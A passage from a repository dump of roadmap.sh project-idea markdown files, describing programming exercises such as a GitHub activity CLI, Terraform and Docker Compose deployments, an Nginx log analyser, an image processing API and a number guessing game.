/>\n\nAfter finishing this project, you will have a good understanding of the following concepts:\n\n- GitHub Actions\n- GitHub Pages\n- Continuous Integration and Continuous Deployment\n- Writing GitHub Actions workflows\n\nContinue solving more projects for advanced CI/CD concepts."
  },
  {
    "path": "src/data/projects/github-random-repo.md",
    "content": "---\ntitle: 'GitHub Random Repository'  \ndescription: 'Create a GitHub random repository finder using GitHub API.'  \nisNew: false  \nsort: 25  \ndifficulty: 'intermediate'  \nnature: 'API Integration'  \nskills:  \n  - 'HTML'  \n  - 'CSS'  \n  - 'JavaScript'  \n  - 'API Integration'  \n  - 'DOM Manipulation'  \nseo:  \n  title: 'Build a GitHub Repository Finder with JavaScript and GitHub API'  \n  description: 'Learn how to create a dynamic application that fetches random GitHub repositories based on a chosen language and displays key information like stars, forks, and issues.'  \n  keywords:  \n    - 'github api'\n    - 'repository finder'\n    - 'javascript project'  \nroadmapIds:  \n  - 'frontend'  \n\n---\n\nThis project is designed to introduce you to working with external APIs, handling asynchronous requests, and managing different UI states with JavaScript.\n\nYou will create a GitHub repository finder that allows users to select a programming language from a dropdown menu. The app will then use the GitHub Repository Search API to fetch and display a random repository that matches the selected language. The displayed information should include the repository name, description, number of stars, forks, and open issues. Users can fetch another random repository with a button click.\n\n[![GitHub Random Repository](https://assets.roadmap.sh/guest/github-repo-finder-n2qz4.png)](https://assets.roadmap.sh/guest/github-repo-finder-n2qz4.png)\n\nThe application should handle loading, empty, and error states effectively. After successfully fetching a repository, a \"Refresh\" button should appear to allow users to get another random repository.\n\nHere are the links to the resources you will need for this project:\n\n- [GitHub Repository Search API](https://docs.github.com/en/rest/reference/search#search-repositories)\n- [Programming Language Data](https://raw.githubusercontent.com/kamranahmedse/githunt/master/src/components/filters/language-filter/languages.json)\n\nThis project will help you practice API integration, managing asynchronous data, and enhancing user experience with responsive UI states."
  },
  {
    "path": "src/data/projects/github-user-activity.md",
    "content": "---\ntitle: 'GitHub User Activity'\ndescription: 'Use GitHub API to fetch user activity and display it in the terminal.'\nisNew: false\nsort: 200\ndifficulty: 'beginner'\nnature: 'CLI'\nskills:\n  - 'Programming Language'\n  - 'CLI'\n  - 'API Consumption'\nseo:\n  title: 'GitHub User Activity CLI'\n  description: 'Build a command line interface (CLI) to fetch and display GitHub user activity.'\n  keywords:\n    - 'github user activity cli'\n    - 'backend project idea'\nroadmapIds:\n  - 'backend'\n  - 'php'\n  - 'nodejs'\n  - 'python'\n  - 'java'\n  - 'golang'\n  - 'spring-boot'\n  - 'cpp'\n---\n\nIn this project, you will build a simple command line interface (CLI) to fetch the recent activity of a GitHub user and display it in the terminal. This project will help you practice your programming skills, including working with APIs, handling JSON data, and building a simple CLI application.\n\n## Requirements\n\nThe application should run from the command line, accept the GitHub username as an argument, fetch the user's recent activity using the GitHub API, and display it in the terminal. The user should be able to:\n\n- Provide the GitHub username as an argument when running the CLI.\n  ```bash\n  github-activity <username>\n  ```\n- Fetch the recent activity of the specified GitHub user using the GitHub API. You can use the following endpoint to fetch the user's activity:\n  ```\n  # https://api.github.com/users/<username>/events\n  # Example: https://api.github.com/users/kamranahmedse/events\n  ```\n- Display the fetched activity in the terminal.\n  ```\n  Output:\n  - Pushed 3 commits to kamranahmedse/developer-roadmap\n  - Opened a new issue in kamranahmedse/developer-roadmap\n  - Starred kamranahmedse/developer-roadmap\n  - ...\n  ```\n  You can [learn more about the GitHub API here](https://docs.github.com/en/rest/activity/events?apiVersion=2022-11-28).\n- Handle errors gracefully, such as invalid usernames or API failures.\n- Use a programming language of your choice to build this project.\n- Do not use any external libraries or frameworks to fetch the GitHub activity.\n\n<hr />\n\nIf you are looking to build a more advanced version of this project, you can consider adding features like filtering the activity by event type, displaying the activity in a more structured format, or caching the fetched data to improve performance. You can also explore other endpoints of the GitHub API to fetch additional information about the user or their repositories.\n"
  },
  {
    "path": "src/data/projects/iac-digitalocean.md",
    "content": "---\ntitle: 'IaC on DigitalOcean'\ndescription: 'Write Terraform code to create a Droplet on DigitalOcean'\nisNew: false\nsort: 1200\ndifficulty: 'intermediate'\nnature: 'Terraform'\nskills:\n  - 'terraform'\n  - 'linux'\n  - 'devops'\nseo:\n  title: 'IaC on DigitalOcean'\n  description: 'Write Terraform code to create a Droplet on DigitalOcean'\n  keywords:\n    - 'IaC'\n    - 'Terraform'\n    - 'DigitalOcean'\nroadmapIds:\n  - 'devops'\n---\n\nThe goal of this project is to introduce you to the basics of IaC using Terraform. You will create a DigitalOcean Droplet and configure it using Terraform.\n\n## Requirements\n\nIf you have been doing the previous projects, you should already have a Linux server running. If not, setup a Linux server on [DigitalOcean](https://m.do.co/c/b29aa8845df8), AWS or another cloud provider.\n\nYou are required to write a Terraform script that will create a Droplet on DigitalOcean. The Droplet should have a public IP address, and SSH access. You should also be able to SSH into the Droplet using the private key.\n\nYou can use [this guide from Digital Ocean](https://www.digitalocean.com/community/tutorials/how-to-use-terraform-with-digitalocean) and [Digital Ocean provider documentation](https://registry.terraform.io/providers/digitalocean/digitalocean/latest/docs) to get started.\n\n## Stretch goal\n\nWrite Ansible playbook that will configure the server. You can use the same playbook from [the previous project](/projects/configuration-management).\n\n<hr />\n\nOnce you are done with the project, you should have a good understanding of setting up a basic infrastructure on DigitalOcean using Terraform and configuring it using Ansible."
  },
  {
    "path": "src/data/projects/image-grid.md",
    "content": "---\ntitle: 'Image Grid Layout'  \ndescription: 'Create a grid layout of images using HTML and CSS.'  \nisNew: false  \nsort: 8  \ndifficulty: 'beginner'  \nnature: 'CSS'\nskills:  \n  - 'HTML'  \n  - 'CSS'  \n  - 'Grid Layout'\n  - 'Responsive Design'\nseo:  \n  title: 'Create an Image Grid Layout for a Website Using HTML and CSS'  \n  description: 'Learn how to create a responsive grid layout of images using HTML and CSS.'  \n  keywords:  \n    - 'css grid'\n    - 'image layout'\n    - 'responsive design'  \n    - 'html and css'  \nroadmapIds:  \n  - 'frontend'  \n\n---\n\nIn this project, you are required to create a grid layout using HTML and CSS. You will be provided with six images that need to be arranged in a grid pattern based on the provided mockup. The primary focus of this project is to help you learn and practice the CSS Grid layout technique, which is essential for creating responsive and flexible web layouts.\n\nThe goal of this project is to give you hands-on experience with CSS Grid, allowing you to create complex layouts with ease. Below is a rough mockup showing the grid layout you need to create along with the six images that you should use.\n\n[![Grid Layout Mockup](https://assets.roadmap.sh/guest/image-grid.jpg)](https://assets.roadmap.sh/guest/image-grid.jpg)\n\nYou can use the same images provided in the mockup or replace them with your own images. The grid layout should be responsive, meaning it should adapt to different screen sizes and maintain a visually appealing design.\n\n- [A foggy beach with a large rock formation in the foreground](https://unsplash.com/photos/a-foggy-beach-with-a-large-rock-formation-in-the-foreground-TTExgxV06KA)\n- [A living room with a white couch and a round window](https://unsplash.com/photos/a-living-room-with-a-white-couch-and-a-round-window-Wuu6H3mI7UA)\n- [A table topped with plates and bowls of food](https://unsplash.com/photos/a-table-topped-with-plates-and-bowls-of-food-zx8_8jwZ5m8)\n- [A building with a red door and a tree in front of it](https://unsplash.com/photos/a-building-with-a-red-door-and-a-tree-in-front-of-it-uTd-kylh7bE)\n- [A row of white apartment buildings next to a street](https://unsplash.com/photos/a-row-of-white-apartment-buildings-next-to-a-street-f1PzRPbqt0M)\n- [A view of a beach from the top of a hill](https://unsplash.com/photos/a-view-of-a-beach-from-the-top-of-a-hill-SAyIShcE5rs)\n\nKey learning objectives of this project include:\n\n- **Grid Structure**: Understand the fundamentals of CSS Grid, including defining grid containers, rows, columns, and how to place items within the grid.\n\n- **Responsive Design**: Learn how to make the grid layout responsive so that it adapts to different screen sizes. This might involve changing the number of columns or the layout of the images based on the viewport width.\n\n- **Alignment and Spacing**: Explore how to align grid items and manage spacing between them to achieve a clean and visually appealing layout.\n\n---\n\nBy completing this project, you will gain confidence in using CSS Grid to create flexible and responsive layouts. You can further apply these skills to more complex projects as you continue learning web design and development."
  },
  {
    "path": "src/data/projects/image-processing-service.md",
    "content": "---\ntitle: 'Image Processing Service'\ndescription: 'Build a service that allows users to upload and process images.'\nisNew: false\nsort: 1800\ndifficulty: 'intermediate'\nnature: 'API'\nskills:\n  - 'Programming Language'\n  - 'Image Processing'\n  - 'Database'\n  - 'Queues'\nseo:\n  title: 'Image Processing Service Project Idea'\n  description: 'Build a service that allows users to upload and process images.'\n  keywords:\n    - 'image processing service'\n    - 'backend project idea'\nroadmapIds:\n  - 'backend'\n  - 'php'\n  - 'nodejs'\n  - 'python'\n  - 'java'\n  - 'golang'\n  - 'spring-boot'\n---\n\nThis project involves creating a backend system for an image processing service similar to Cloudinary. The service will allow users to upload images, perform various transformations, and retrieve images in different formats. The system will feature user authentication, image upload, transformation operations, and efficient retrieval mechanisms.\n\n## Requirements\n\nHere is the list of features that you should implement in this project:\n\n### User Authentication\n\n- **Sign-Up**: Allow users to create an account.\n- **Log-In**: Allow users to log into their account.\n- **JWT Authentication**: Secure endpoints using JWTs for authenticated access.\n\n### Image Management\n\n- **Upload Image**: Allow users to upload images.\n- **Transform Image**: Allow users to perform various transformations (resize, crop, rotate, watermark etc.).\n- **Retrieve Image**: Allow users to retrieve a saved image in different formats.\n- **List Images**: List all uploaded images by the user with metadata.\n\n### Image Transformation\n\nHere is the list of transformations that you can implement:\n\n- Resize\n- Crop\n- Rotate\n- Watermark\n- Flip\n- Mirror\n- Compress\n- Change format (JPEG, PNG, etc.)\n- Apply filters (grayscale, sepia, etc.)\n\nFeel free to add more transformations based on your interest and expertise.\n\n## How to Implement\n\nHere is the list of endpoints that you can implement for this project:\n\n### Authentication Endpoints\n\nRegister a new user:\n\n```\nPOST /register\n{\n  \"username\": \"user1\",\n  \"password\": \"password123\"\n}\n```\nResponse should be the user object with a JWT.\n\nLog in an existing user:\n\n```\nPOST /login\n{\n  \"username\": \"user1\",\n  \"password\": \"password123\"\n}\n```\nResponse should be the user object with a JWT.\n\n### Image Management Endpoints\n\n#### Upload an image:\n\n```\nPOST /images\nRequest Body: Multipart form-data with image file\nResponse: Uploaded image details (URL, metadata).\n```\n\n#### Apply transformations to an image:\n\n```\nPOST /images/:id/transform\n{\n  \"transformations\": {\n    \"resize\": {\n      \"width\": \"number\",\n      \"height\": \"number\"\n    },\n    \"crop\": {\n      \"width\": \"number\",\n      \"height\": \"number\",\n      \"x\": \"number\",\n      \"y\": \"number\"\n    },\n    \"rotate\": \"number\",\n    \"format\": \"string\",\n    \"filters\": {\n      \"grayscale\": \"boolean\",\n      \"sepia\": \"boolean\"\n    }\n  }\n}\n```\nUser can apply one or more transformations to the image. Response should be the transformed image details (URL, metadata).\n\n#### Retrieve an image:\n\n```\nGET /images/:id\n```\nResponse should be the image actual image detail.\n\n#### Get a paginated list of images:\n\n```\nGET /images?page=1&limit=10\n```\n\n## Tips\n\n- Use a cloud storage service like AWS S3, Cloudflare R2, or Google Cloud Storage to store images.\n- Use some image processing libraries to apply transformations.\n- Put a rate limit on image transformations to prevent abuse.\n- Consider caching transformed images to improve performance.\n- Implement error handling and validation for all endpoints.\n- Optionally use a message queue like RabbitMQ or Kafka to process image transformations asynchronously.\n\n<hr />\n\nThis project will help you understand how to build a scalable image processing service with user authentication and image transformation capabilities. You can use this project to showcase your backend development skills and learn about image processing techniques.\n"
  },
  {
    "path": "src/data/projects/log-archive-tool.md",
    "content": "---\ntitle: 'Log Archive Tool'\ndescription: 'Build a tool to archive logs from the CLI with the date and time.'\nisNew: false\nsort: 200\ndifficulty: 'beginner'\nnature: 'CLI'\nskills:\n  - 'linux'\n  - 'bash'\n  - 'shell scripting'\nseo:\n  title: 'Log Archive Tool'\n  description: 'Build a tool to archive logs from the CLI with the date and time.'\n  keywords:\n    - 'log archive tool'\n    - 'devops project idea'\nroadmapIds:\n  - 'devops'\n  - 'linux'\n---\n\nIn this project, you will build a tool to archive logs on a set schedule by compressing them and storing them in a new directory, this is especially useful for removing old logs and keeping the system clean while maintaining the logs in a compressed format for future reference. This project will help you practice your programming skills, including working with files and directories, and building a simple cli tool.\n\nThe most common location for logs on a unix based system is `/var/log`.\n\n## Requirements\n\nThe tool should run from the command line, accept the log directory as an argument, compress the logs, and store them in a new directory. The user should be able to:\n\n- Provide the log directory as an argument when running the tool.\n  ```bash\n  log-archive <log-directory>\n  ```\n- The tool should compress the logs in a tar.gz file and store them in a new directory.\n- The tool should log the date and time of the archive to a file.\n  ```bash\n  logs_archive_20240816_100648.tar.gz\n  ```\n\nYou can learn more about the `tar` command [here](https://www.gnu.org/software/tar/manual/tar.html).\n\n<hr />\n\nIf you are looking to build a more advanced version of this project, you can consider adding functionality to the tool like emailing the user updates on the archive, or sending the archive to a remote server or cloud storage.\n"
  },
  {
    "path": "src/data/projects/markdown-note-taking-app.md",
    "content": "---\ntitle: 'Markdown Note-taking App'\ndescription: 'Build a note-taking app that uses markdown for formatting.'\nisNew: false\nsort: 1300\ndifficulty: 'intermediate'\nnature: 'API'\nskills:\n  - 'Programming Language'\n  - 'Text Processing'\n  - 'Markdown libraries'\n  - 'File Uploads'\nseo:\n  title: 'Markdown Note-taking App Project Idea'\n  description: 'Build a note-taking app that uses markdown for formatting.'\n  keywords:\n    - 'backend project idea'\nroadmapIds:\n  - 'backend'\n  - 'php'\n  - 'nodejs'\n  - 'python'\n  - 'java'\n  - 'golang'\n  - 'spring-boot'\n---\n\nYou are required to build a simple note-taking app that lets users upload markdown files, check the grammar, save the note, and render it in HTML. The goal of this project is to help you learn how to handle file uploads in a RESTful API, parse and render markdown files using libraries, and check the grammar of the notes.\n\n![Markdown Note-taking App](https://assets.roadmap.sh/guest/markdown-note-taking-app-tymi3.png)\n\n## Features\n\nYou have to implement the following features:\n\n- You’ll provide an endpoint to check the grammar of the note.\n- You’ll also provide an endpoint to save the note that can be passed in as Markdown text.\n- Provide an endpoint to list the saved notes (i.e. uploaded markdown files).\n- Return the HTML version of the Markdown note (rendered note) through another endpoint.\n\n## Tips to Get Started\n\nFeel free to use any programming language and framework of your choice. Use the package manager of the chosen language to install the required libraries for parsing and rendering markdown files.\n"
  },
  {
    "path": "src/data/projects/monitoring.md",
    "content": "---\ntitle: 'Prometheus and Grafana'\ndescription: 'Setup monitoring using Prometheus and visualize metrics in Grafana.'\nisNew: false\nsort: 1800\ndifficulty: 'advanced'\nnature: 'Monitoring'\nskills:\n  - 'bash'\n  - 'devops'\n  - 'monitoring'\nseo:\n  title: 'Monitoring with Prometheus and Grafana'\n  description: 'Setup monitoring using Prometheus and visualize metrics in Grafana.'\n  keywords:\n    - 'Prometheus'\n    - 'Grafana'\n    - 'Monitoring'\n    - 'Server Metrics'\nroadmapIds:\n  - 'devops'\n---\n\nThe goal of this project is to implement a comprehensive monitoring system for your server infrastructure using Prometheus for metric collection and Grafana for visualization. This setup will provide real-time insights into your server's performance, resource utilization, and overall health.\n\n## Requirements\n\nTo begin this project, you'll need:\n\n- A running server to monitor. You can use an existing server from a previous project or setup a new server on [Digital Ocean](https://m.do.co/c/b29aa8845df8) or another cloud provider\n- An application running on the server using some dependencies e.g., Nginx, Node.js, or others.\n\nOnce your server is operational, you'll proceed with setting up Prometheus and Grafana.\n\n### Prometheus Setup\n\nPrometheus is a powerful, open-source monitoring and alerting toolkit. Follow these steps to set it up:\n\n- Install Prometheus on your server\n- Configure prometheus for scarping intervals, endpoints and retention policies\n- Install and configure exporters for System metrics (CPU, memory, disk, network). Also setup additional exporters for services like Nginx, MySQL, MongoDB, etc.\n- Implement custom exporters or instrumentation for application-specific metrics\n\nPrometheus offers extensive data collection capabilities and a flexible query language (PromQL) for data analysis.\n\n### Grafana Configuration\n\nGrafana provides customizable dashboards for your metrics. You can setup a dashboard for system metrics and another for application metrics. Follow these steps:\n\n- Install Grafana on your server\n- Connect Grafana to Prometheus as a data source\n- Create dashboards for various metrics:\n  - System overview (CPU, memory, disk, network)\n  - Application-specific metrics\n  - Custom panels using PromQL queries\n- Set up user authentication and authorization for your Grafana instance\n\n### Advanced Goals\n\nFor those looking to expand their skills and create a more robust monitoring system, consider implementing these advanced features:\n\n- Set up alerting rules in Prometheus and configure notification channels in Grafana (e.g., email, Slack)\n- Implement Prometheus recording rules to optimize query performance\n- Use Prometheus service discovery for automatic monitoring of dynamic environments\n- Integrate log aggregation using Loki and correlate logs with metrics in Grafana\n- Create a custom exporter for a specific application or service you're running\n\n<hr />\n\nThis project will provide you with hands-on experience in setting up a production-grade monitoring system. You'll gain valuable skills in metric collection, data visualization, and system observability, which are crucial for maintaining reliable and performant infrastructure.\n"
  },
  {
    "path": "src/data/projects/movie-reservation-system.md",
    "content": "---\ntitle: 'Movie Reservation System'\ndescription: 'Build a system that allows users to reserve movie tickets.'\nisNew: false\nsort: 1900\ndifficulty: 'advanced'\nnature: 'API'\nskills:\n  - 'Programming Language'\n  - 'Database'\n  - 'Scheduling'\n  - 'Authentication'\nseo:\n  title: 'Movie Reservation System Project Idea'\n  description: 'Build a system that allows users to reserve movie tickets.'\n  keywords:\n    - 'movie reservation system'\n    - 'backend project idea'\nroadmapIds:\n  - 'backend'\n  - 'php'\n  - 'nodejs'\n  - 'python'\n  - 'java'\n  - 'golang'\n  - 'spring-boot'\n---\n\nYou are required to build backend system for a movie reservation service. The service will allow users to sign up, log in, browse movies, reserve seats for specific showtimes, and manage their reservations. The system will feature user authentication, movie and showtime management, seat reservation functionality, and reporting on reservations.\n\n## Goal\n\nThe goal of this project is to help you understand how to implement complex business logic i.e. seat reservation and scheduling, thinking about the data model and relationships, and complex queries.\n\n## Requirements\n\nWe have intentionally left out the implementation details to encourage you to think about the design and implementation of the system. However here are some requirements that you can consider:\n\n### User Authentication and Authorization\n\n- Users should be able to sign up and log in.\n- You also need roles for users, such as admin and regular user. Admins should be able to manage movies and showtimes.\n- Regular users should be able to reserve seats for a showtime.\n\n> You can create the initial admin using seed data. Only admins should be able to promote other users to admin and be able to do things related to movie management, reporting, etc.\n\n### Movie Management\n\n- Admins should be able to add, update, and delete movies.\n- Each movie should have a title, description, and poster image.\n- Movies should be categorized by genre.\n- Movies should have showtimes.\n\n### Reservation Management\n\n- Users should be able to get the movies and their show times for a specific date.\n- Users should be able to reserve seats for a showtime, see the available seats, and select the seats they want.\n- Users should be able to see their reservations and cancel them (only upcoming ones).\n- Admins should be able to see all reservations, capacity, and revenue.\n\n## Implementation Considerations\n\n- Think about the data model and relationships between entities.\n- Think about how you will avoid overbooking, and how you will handle seat reservations.\n- Think about how you will handle the scheduling of showtimes.\n- Think about how you will handle the reporting of reservations.\n- Think about how you will handle the authentication and authorization of users.\n\n<hr />\n\nThis project is quite complex and will require you to think about the design and implementation of the system. You can use any programming language and database of your choice. I would recommend using a relational database such as MySQL or PostgreSQL. Once you have finished this project, you will have a good understanding of how to implement complex business logic, think about the data model and relationships, and complex queries. You can also extend this project by adding more features such as payment processing, email notifications, etc."
  },
  {
    "path": "src/data/projects/multi-container-service.md",
    "content": "---\ntitle: 'Multi-Container Application'\ndescription: 'Use Docker Compose to run a multi-container application'\nisNew: false\nsort: 1500\ndifficulty: 'intermediate'\nnature: 'Docker Compose'\nskills:\n  - 'nodejs'\n  - 'docker'\n  - 'devops'\nseo:\n  title: 'Multi-Container Application'\n  description: 'Use Docker Compose to run a multi-container application'\n  keywords:\n    - 'Docker'\n    - 'Docker Compose'\n    - 'Node.js'\n    - 'MongoDB'\nroadmapIds:\n  - 'devops'\n---\n\nThe goal of this project is to practice using Docker Compose to run a multi-container application in production. You will use Docker Compose to run a Node.js application and a MongoDB database.\n\n## Requirements\n\nCreate a simple unauthenticated Node.js API service for creating a simple todo list. The API should have the following endpoints:\n\n- `GET /todos` — get all todos\n- `POST /todos` — create a new todo\n- `GET /todos/:id` — get a single todo by id\n- `PUT /todos/:id` — update a single todo by id\n- `DELETE /todos/:id` — delete a single todo by id\n\nThe API should connect to MongoDB to store the todo items. You can use [Express](https://expressjs.com/) for the API and [Mongoose](https://mongoosejs.com/) to connect to MongoDB. You can use `nodemon` to automatically restart the server when the source code changes. \n\n### Requirement #1 - Dockerize the API\n\nYou are required to dockerize the API and have a `docker-compose.yml` file which will spin up a [MongoDB container](https://hub.docker.com/_/mongo) and the API container. If everything works, you should be able to access the API via `http://localhost:3000` and the todos should be saved to the MongoDB container. Data should be persisted when the containers are stopped and started.\n\n### Requirement #2 - Setup a remote server\n\nSetup a remote server on [Digital Ocean](https://m.do.co/c/b29aa8845df8), AWS or any other cloud provider. You should use terraform to create the server and Ansible to configure it properly i.e. setup docker, docker-compose, pulling the image from Docker Hub and running the containers.\n\n### Requirement #3 - Setup a CI/CD pipeline\n\nOnce you have everything working locally, push your code to GitHub and setup a CI/CD pipeline to deploy the application to the remote server. You can use [GitHub Actions](https://github.com/features/actions) to setup the pipeline. Make sure to use `docker-compose` to run the application in the production environment.\n\n### Bonus - Setup a reverse proxy\n\nSetup a reverse proxy using Nginx to allow you to access the application via `http://your_domain.com`. You should use `docker-compose` to setup the reverse proxy.\n\n<hr />\n\nAfter completing this project, you will have a good understanding of Docker Compose, multi-container applications, CI/CD pipelines, and more."
  },
  {
    "path": "src/data/projects/multiservice-docker.md",
    "content": "---\ntitle: 'Multi-Service Application'\ndescription: 'Setup a multi-service optimized docker implementation'\nisNew: false\nsort: 1900\ndifficulty: 'advanced'\nnature: 'Docker'\nskills:\n  - 'docker'\n  - 'docker-compose'\nseo:\n  title: 'Multi-Service Docker'\n  description: 'Setup a multi-service optimized docker implementation'\n  keywords:\n    - 'Multi-Service Docker'\n    - 'Docker'\nroadmapIds:\n  - 'devops'\n---\n\nThe goal of this project is to help you practice a more advanced docker setup involving multiple services, volumes, networks, custom base images, multi-stage builds, secrets and more. The project will simulate a real-world scenario with multiple interconnected services, each with its own build requirements and optimizations.\n\n## Requirements\n\nCreate a multi-service application using Docker that consists of the following components:\n\n- **Web Application**: A basic react-based frontend application.\n- **API Service**: A Node.js Express backend API.\n- **Database**: A MongoDB instance for storing application data.\n- **Cache**: A Redis cache for improving performance.\n- **Reverse Proxy**: An Nginx reverse proxy to handle incoming requests.\n\nImplement the following Docker features and best practices:\n\n- Use Docker Compose to define and run the multi-container application.\n- Create custom base images for the web application and API service.\n- Implement multi-stage builds for the web application to optimize the final image size.\n- Set up a Docker network to allow communication between services.\n- Use Docker volumes for persistent data storage (database and cache).\n- Implement Docker secrets for sensitive information (e.g., database passwords).\n- Configure health checks for each service.\n- Optimize Dockerfiles for each service to reduce image sizes and improve build times.\n- Implement logging and log rotation for all services.\n\n<hr />\n\nBy completing this project, you'll gain hands-on experience with advanced Docker concepts and best practices in a realistic, multi-service environment. This will prepare you for working with complex containerized applications in production scenarios.\n"
  },
  {
    "path": "src/data/projects/nginx-log-analyser.md",
    "content": "---\ntitle: 'Nginx Log Analyser'\ndescription: 'Write a simple tool to analyze logs from the command line.'\nisNew: true\nsort: 300\ndifficulty: 'beginner'\nnature: 'CLI'\nskills:\n  - 'linux'\n  - 'bash'\n  - 'shell scripting'\nseo:\n  title: 'Nginx Log Analyser'\n  description: 'Build a simple CLI tool to analyze logs from the command line.'\n  keywords:\n    - 'Nginx Log Analyser'\n    - 'devops project idea'\nroadmapIds:\n  - 'devops'\n---\n\nThe goal of this project is to help you practice some basic shell scripting skills. You will write a simple tool to analyze logs from the command line.\n\n## Requirements\n\nDownload the sample nginx access log file from [here](https://gist.githubusercontent.com/kamranahmedse/e66c3b9ea89a1a030d3b739eeeef22d0/raw/77fb3ac837a73c4f0206e78a236d885590b7ae35/nginx-access.log). The log file contains the following fields:\n\n- IP address\n- Date and time\n- Request method and path\n- Response status code\n- Response size\n- Referrer\n- User agent\n\nYou are required to create a shell script that reads the log file and provides the following information:\n\n1. Top 5 IP addresses with the most requests\n2. Top 5 most requested paths\n3. Top 5 response status codes\n4. Top 5 user agents\n\nHere is an example of what the output should look like:\n\n```text\nTop 5 IP addresses with the most requests:\n45.76.135.253 - 1000 requests\n142.93.143.8 - 600 requests\n178.128.94.113 - 50 requests\n43.224.43.187 - 30 requests\n178.128.94.113 - 20 requests\n\nTop 5 most requested paths:\n/api/v1/users - 1000 requests\n/api/v1/products - 600 requests\n/api/v1/orders - 50 requests\n/api/v1/payments - 30 requests\n/api/v1/reviews - 20 requests\n\nTop 5 response status codes:\n200 - 1000 requests\n404 - 600 requests\n500 - 50 requests\n401 - 30 requests\n304 - 20 requests\n```\n\nThere are multiple ways to solve this challenge. Do some research on `awk`, `sort`, `uniq`, `head`, `grep`, and `sed` commands. Stretch goal is to come up with multiple solutions for the above problem. For example, instead of using `awk`, you can use `grep` and `sed` to filter and count the requests.\n"
  },
  {
    "path": "src/data/projects/nodejs-service-deployment.md",
    "content": "---\ntitle: 'Node.js Service Deployment'\ndescription: 'Use GitHub Actions to Deploy a Node.js Service to a remote server'\nisNew: false\nsort: 1300\ndifficulty: 'intermediate'\nnature: 'CI/CD'\nskills:\n  - 'nodejs'\n  - 'docker'\n  - 'devops'\nseo:\n  title: 'Node.js Service Deployment'\n  description: 'Use GitHub Actions to Deploy a Node.js Service to a remote server'\n  keywords:\n    - 'Node.js'\n    - 'DigitalOcean'\n    - 'Docker'\nroadmapIds:\n  - 'devops'\n---\n\nThe goal of this project is to practice setting up a CI/CD pipeline for a Node.js service using GitHub Actions. You will practice using GitHub Actions for deployment (including Secrets and environment variables), Terraform to provision a server, Ansible to configure the server, and SSH to deploy the application.\n\n## Requirements\n\nIf you haven't completed the previous projects for [Configuration Management](/projects/configuration-management) and [IaC](/projects/iac-digitalocean), you should do that first. You will be able to reuse the Ansible and Terraform code from those projects.\n\nYou are required to have the following setup:\n\n- Setup a [DigitalOcean droplet using Terraform](/projects/iac-digitalocean)\n- Setup the server using [Ansible](/projects/configuration-management) including installing Node.js and `npm`\n- Create a simple Node.js service that just has a `/` route which returns `Hello, world!`\n- Push the codebase to GitHub repository\n\nOnce you have the above setup, you are required to implement the following:\n\n### Task #1: Manual Ansible Deployment\n\n- Setup a role in ansible called `app` that will connect to the server, clone the repository, install the dependencies, build the application, and start the application.\n- You should be able to run the playbook using the following command and the application should be up and running on port `80`:\n\n  ```bash\n  ansible-playbook node_service.yml --tags app\n  ```\n\n- You should be able to access the application using the public IP address of the server.\n\n### Task #2: Automate Deployment using GitHub Actions\n\nWrite a GitHub Action workflow that will deploy the application to the server using one of the following methods. You are welcome to try both options, but you are not required to do that. You are also welcome to use any other method to accomplish the same result.\n\n#### Option #1: Run the playbook in GitHub Actions\n\nUse the `ansible-playbook` command to run the playbook and deploy the application\n\n#### Option #2: Use SSH to connect and deploy the application\n\nUse SSH to connect and deploy the application. Look into [rsync](https://linux.die.net/man/1/rsync) and these GitHub Actions to accomplish this: [web-factory/ssh-agent](https://github.com/webfactory/ssh-agent), [appleboy/ssh-action](https://github.com/appleboy/ssh-action).\n\n<hr />\n\nOnce you have the application deployed, you should have a good understanding of automating the process of setting up a server and deploying an application to it."
  },
  {
    "path": "src/data/projects/number-guessing-game.md",
    "content": "---\ntitle: 'Number Guessing Game'\ndescription: 'Build a simple number guessing game to test your luck.'\nisNew: false\nsort: 400\ndifficulty: 'beginner'\nnature: 'CLI'\nskills:\n  - 'Programming Language'\n  - 'CLI'\n  - 'Logic Building'\nseo:\n  title: 'Number Guessing Game Project Idea'\n  description: 'Build a simple number guessing game to test your luck.'\n  keywords:\n    - 'number guessing game'\n    - 'backend project idea'\nroadmapIds:\n  - 'backend'\n  - 'php'\n  - 'nodejs'\n  - 'python'\n  - 'java'\n  - 'golang'\n  - 'spring-boot'\n  - 'cpp'\n---\n\nYou are required to build a simple number guessing game where the computer randomly selects a number and the user has to guess it. The user will be given a limited number of chances to guess the number. If the user guesses the number correctly, the game will end, and the user will win. Otherwise, the game will continue until the user runs out of chances.\n\n## Requirements\n\nIt is a CLI-based game, so you need to use the command line to interact with the game. The game should work as follows:\n\n- When the game starts, it should display a welcome message along with the rules of the game.\n- The computer should randomly select a number between 1 and 100.\n- User should select the difficulty level (easy, medium, hard) which will determine the number of chances they get to guess the number.\n- The user should be able to enter their guess.\n- If the user's guess is correct, the game should display a congratulatory message along with the number of attempts it took to guess the number.\n- If the user's guess is incorrect, the game should display a message indicating whether the number is greater or less than the user's guess.\n- The game should end when the user guesses the correct number or runs out of chances.\n\nHere is a sample output of the game:\n\n```plaintext\nWelcome to the Number Guessing Game!\nI'm thinking of a number between 1 and 100.\nYou have 5 chances to guess the correct number.\n\nPlease select the difficulty level:\n1. Easy (10 chances)\n2. Medium (5 chances)\n3. Hard (3 chances)\n\nEnter your choice: 2\n\nGreat! You have selected the Medium difficulty level.\nLet's start the game!\n\nEnter your guess: 50\nIncorrect! The number is less than 50.\n\nEnter your guess: 25\nIncorrect! The number is greater than 25.\n\nEnter your guess: 35\nIncorrect! The number is less than 35.\n\nEnter your guess: 30\nCongratulations! You guessed the correct number in 4 attempts.\n```\n\nTo make the game more interesting, you can add the following features:\n\n- Allow the user to play multiple rounds of the game (i.e., keep playing until the user decides to quit). You can do this by asking the user if they want to play again after each round.\n- Add a timer to see how long it takes the user to guess the number.\n- Implement a hint system that provides clues to the user if they are stuck.\n- Keep track of the user's high score (i.e., the fewest number of attempts it took to guess the number under a specific difficulty level).\n"
  },
  {
    "path": "src/data/projects/personal-blog.md",
